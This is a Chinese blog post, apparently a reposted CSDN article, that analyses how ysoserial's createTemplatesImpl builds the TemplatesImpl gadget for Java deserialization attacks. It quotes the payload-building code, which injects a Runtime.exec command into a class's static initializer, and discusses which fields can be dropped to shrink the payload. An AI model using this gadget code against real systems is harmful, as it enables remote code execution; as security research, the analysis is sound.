ysoserial Gadgets.createTemplatesImpl函数分析

前言

在阅读《java反序列化工具ysoserial分析》之后,对ysoserial有了一些更深的了解,但文章在对createTemplatesImpl函数进行分析中,没有解释一些代码作用,本文是对其分析的一些补充及发现的一些疑问。

在阅读本文前请先阅读《java反序列化工具ysoserial分析》中关于TemplatesImpl利用链以及createTemplatesImpl分析的部分

分析

createTemplatesImpl实现代码如下:

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
    	//实例化TemplatesImpl
        final T templates = tplClass.newInstance();

        // use template gadget class
    	//************************创建Payload类开始*******************************
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();
		//************************创建Payload类结束*******************************
		
        // inject class bytes into instance,插入Class字节码到TemplatesImpl实例
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
    
        // required to make TemplatesImpl happy,喵喵喵?
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

  1. final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    

可以看出,整个类是基于Gadgets文件中的StubTransletPayload类进行修改。

为什么要基于StubTransletPayload进行修改?

StubTransletPayload实现如下:

在这里插入图片描述

因为在调用链的defineTransletClasses函数时,会将父类为AbstractTranslet的class索引赋值给_transletIndex:

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class,检测父类是否为AbstractTranslet
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

而后在函数getTransletInstance中,会将_transletIndex对应的类进行实例化:

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

所以我们需要将我们所期望的代码写入父类为AbstractTranslet的类的构造函数中。

Reflections.setFieldValue(templates, "_name", "Pwnr");

调用链的getTransletInstance函数中,首先进行了如下判断:

if (_name == null) return null;

如果不设置_name值会导致调用链直接退出,不进行后续的payload类实例化

疑问

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

为什么_bytecodes数组中需要而外存放一个无用类,而不是只存放刚刚生成带有payload的类?

Foo类是一个只实现了Serializable接口没有包含任何其他内容的类,没有任何作用。

尝试着只保留payload类,也并不影响执行。

相关代码段:

  final int classCount = _bytecodes.length;
            _class = new Class[classCount];
			//重点位置:
            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

TemplatesImpl类成员_auxClasses默认为null,可以看出只有_bytecodes数组长度>=2时,才会对_auxClasses进行创建。但是如果长度为1,并且父类为AbstractTranslet也不影响payload的执行。

Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

这句删除了也不影响,看了jdk1.6/1.7/1.8的代码在执行TemplatesImpl的readObject函数时都会在结尾对_tfactory进行重新构造:

private void  readObject(ObjectInputStream is)
      throws IOException, ClassNotFoundException
{
。。。。
_tfactory = new TransformerFactoryImpl();
}

表示这个很迷。。

补充: _tfactory字段为transient修饰,并不参与序列化。

  1. 删除了疑问1项后,以CommonsCollections2为例,执行calc的payload大小从3231字节减少到了2753字节,减少了478字节。删除了疑问2代码后大小完全没变???

    查看代码,发现TemplatesImpl的_tfactory属性前面有transient修饰符,也就是说该属性并不参与到序列化中,所以疑问2这句加不加完全没区别。(也就是为什么readObject中会对其重新构造)

    在jdk1.6/1.8下进行了测试,Payload可以正常使用

猜你喜欢

转载自blog.csdn.net/fnmsd/article/details/88543233